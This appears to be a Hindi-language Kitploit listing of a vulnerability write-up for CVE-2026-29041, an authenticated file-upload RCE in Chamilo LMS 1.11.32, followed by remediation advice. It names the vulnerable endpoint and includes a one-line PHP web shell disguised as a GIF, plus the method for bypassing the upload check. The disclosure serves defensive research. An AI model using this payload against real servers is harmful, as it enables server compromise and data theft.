Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-29041 — नमस्ते, मैं K हूँ, यह मेरा पहला CVE है, जो एक Remote Code Execution (RCE) भेद्यता है। यह एक सुरक्षा शोधकर्ता के रूप में मेरी यात्रा की शुरुआत है। | Kitploit
उपकरण/GitHubGitHub/kx00007/cve-2026-29041
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेपर और शोधलर्निंग और शिक्षा
GitHubkx00007/cve-2026-29041

CVE-2026-29041

नमस्ते, मैं K हूँ, यह मेरा पहला CVE है, जो एक Remote Code Execution (RCE) भेद्यता है। यह एक सुरक्षा शोधकर्ता के रूप में मेरी यात्रा की शुरुआत है।

रिपॉजिटरी देखें
25 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-29041 — Chamilo LMS 1.11.32 में प्रतिबंधित फ़ाइल अपलोड के माध्यम से प्रमाणित RCE

Chamilo LMS 1.11.32 में ck_uploadimage AJAX एंडपॉइंट में अनुचित फ़ाइल अपलोड सत्यापन के माध्यम से प्रमाणित रिमोट कोड निष्पादन। एक निम्न-विशेषाधिकार प्राप्त छात्र PHP वेब शेल को छवि के रूप में प्रच्छन्न करके अपलोड कर सकता है, जिससे सर्वर से पूर्ण समझौता हो सकता है।


📋 भेद्यता सारांश

फ़ील्डविवरण
उत्पादChamilo LMS
संस्करण1.11.32 (पुष्टि की गई)
भेद्यताखतरनाक प्रकार के साथ अप्रतिबंधित फ़ाइल अपलोड (CWE-434)
प्रभावप्रमाणित रिमोट कोड निष्पादन (RCE)
CVSS v3.18.8 (उच्च) — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
प्रमाणीकरण आवश्यक✅ हाँ — छात्र भूमिका (निम्न विशेषाधिकार)
CWECWE-434: खतरनाक प्रकार वाली फ़ाइल का अप्रतिबंधित अपलोड
खोजकर्ताMENG HOKSENG

🧠 भेद्यता विवरण

प्रभावित एंडपॉइंट

root@kitploit:~
POST /main/inc/ajax/document.ajax.php?a=ck_uploadimage&cidReq=[COURSE_ID]

भेद्य फ़ाइल: main/inc/ajax/document.ajax.php
भेद्य फ़ंक्शन: ck_uploadimage

मूल कारण विश्लेषण

अपलोड हैंडलर PHP के mime_content_type() फ़ंक्शन का उपयोग करके केवल MIME-प्रकार सत्यापन करता है, जो फ़ाइल के मैजिक बाइट्स (सामग्री के पहले कुछ बाइट्स) की जांच करता है, न कि फ़ाइल एक्सटेंशन की।

root@kitploit:~
// भेद्य सत्यापन तर्क (सरलीकृत)
$mime = mime_content_type($_FILES['upload']['tmp_name']);

if (!mimeAccepted($mime, ['image'])) {
    die("अमान्य फ़ाइल प्रकार");
}

// ❌ कोई एक्सटेंशन सत्यापन नहीं
// ❌ फ़ाइलनाम की कोई सफाई नहीं
move_uploaded_file($_FILES['upload']['tmp_name'], $uploadPath . $fileUploadName);

दो अलग-अलग कमजोरियाँ मिलकर एक पूर्ण शोषण श्रृंखला बनाती हैं:

  1. केवल MIME-प्रकार सत्यापन — PHP कोड में वैध छवि मैजिक बाइट्स (GIF89a) जोड़कर बायपास किया जाता है
  2. मूल फ़ाइलनाम संरक्षित — सर्वर फ़ाइल को हमलावर-नियंत्रित फ़ाइलनाम सहित .php एक्सटेंशन के साथ वेब-सुलभ निर्देशिका में संग्रहीत करता है

बायपास तकनीक

एक दुर्भावनापूर्ण फ़ाइल निम्नानुसार तैयार की जाती है:

root@kitploit:~
GIF89a;<?php system($_GET['cmd']); ?>
  • mime_content_type() GIF89a पढ़ता है → image/gif के रूप में वर्गीकृत करता है → सत्यापन पास करता है
  • move_uploaded_file() इसे /app/upload/users/<id>/ में shell.php के रूप में सहेजता है → ब्राउज़र के माध्यम से सीधे निष्पादन योग्य

💣 प्रूफ ऑफ कॉन्सेप्ट

पूर्ण शोषण चलाएं जो फ़ाइल अपलोड स्वचालित रूप से करने के लिए छात्र के रूप में लॉग इन करता है image पायथन पूर्ण शोषण चलाने के बाद, हम अपना अपलोड किया गया वेब शेल http://localhost:8081/app/upload/users/3/3/my_fileszhxoxgwj.php?cmd=id पर पा सकते हैं image

🛡️ प्रभाव

इस भेद्यता का सफल शोषण छात्र-स्तरीय खाते से पूर्ण सर्वर समझौते में परिणत होता है:

  • 🔴 रिमोट कोड निष्पादन — वेब शेल के माध्यम से मनमाने OS कमांड
  • 🔴 डेटा बहिष्करण — एप्लिकेशन डेटाबेस क्रेडेंशियल्स और फ़ाइलों तक पूर्ण पहुंच
  • 🔴 पार्श्व गति — समझौता किए गए सर्वर से आंतरिक नेटवर्क में प्रवेश
  • 🔴 स्थिरता — वेब-सुलभ निर्देशिकाओं में बैकडोर लगाने की क्षमता
  • 🔴 सेवा व्यवधान — पाठ्यक्रम सामग्री और उपयोगकर्ता डेटा का संशोधन या विलोपन

CIA प्रभाव: गोपनीयता, अखंडता और उपलब्धता का पूर्ण नुकसान।


🔧 निवारण

▪ सख्त फ़ाइल एक्सटेंशन अनुमतिसूची लागू करें केवल स्पष्ट रूप से अनुमत छवि फ़ाइल एक्सटेंशन (जैसे, .jpg, .png, .gif) स्वीकार किए जाने चाहिए। निष्पादन योग्य एक्सटेंशन जैसे .php, .phtml, या .phar वाली अपलोड की गई फ़ाइलों को MIME प्रकार की परवाह किए बिना अस्वीकार किया जाना चाहिए।

▪ केवल MIME-प्रकार सत्यापन पर निर्भर न रहें mime_content_type() जैसे फ़ंक्शनों का उपयोग करके MIME-प्रकार की जाँच को प्राथमिक सुरक्षा नियंत्रण के रूप में उपयोग नहीं किया जाना चाहिए, क्योंकि इन्हें तैयार किए गए फ़ाइल हेडर का उपयोग करके बायपास किया जा सकता है। MIME सत्यापन का उपयोग केवल द्वितीयक जाँच के रूप में किया जाना चाहिए।

▪ अपलोड की गई फ़ाइलों को वेब-सुलभ निर्देशिकाओं के बाहर संग्रहीत करें अपलोड की गई सामग्री को ऐसी निर्देशिका में संग्रहीत किया जाना चाहिए जो वेब सर्वर के माध्यम से सीधे सुलभ न हो। यदि सार्वजनिक पहुंच आवश्यक है, तो फ़ाइलों को सीधे पहुंच के बजाय नियंत्रित हैंडलर के माध्यम से परोसा जाना चाहिए।

📄 संदर्भ

  • Chamilo LMS आधिकारिक साइट
  • CWE-434: खतरनाक प्रकार वाली फ़ाइल का अप्रतिबंधित अपलोड
  • OWASP: अप्रतिबंधित फ़ाइल अपलोड
  • CVSS v3.1 कैलकुलेटर

👤 लेखक

MENG HOKSENG
स्वतंत्र सुरक्षा शोधकर्ता


⚠️ कानूनी अस्वीकरण

यह प्रोजेक्ट केवल शैक्षिक और अधिकृत सुरक्षा अनुसंधान उद्देश्यों के लिए जारी किया गया है। लेखक इस शोषण के कारण होने वाले किसी भी दुरुपयोग या क्षति के लिए जिम्मेदार नहीं है। सुरक्षा मूल्यांकन करने से पहले हमेशा स्पष्ट लिखित प्राधिकरण प्राप्त करें।

टूल डाउनलोड करें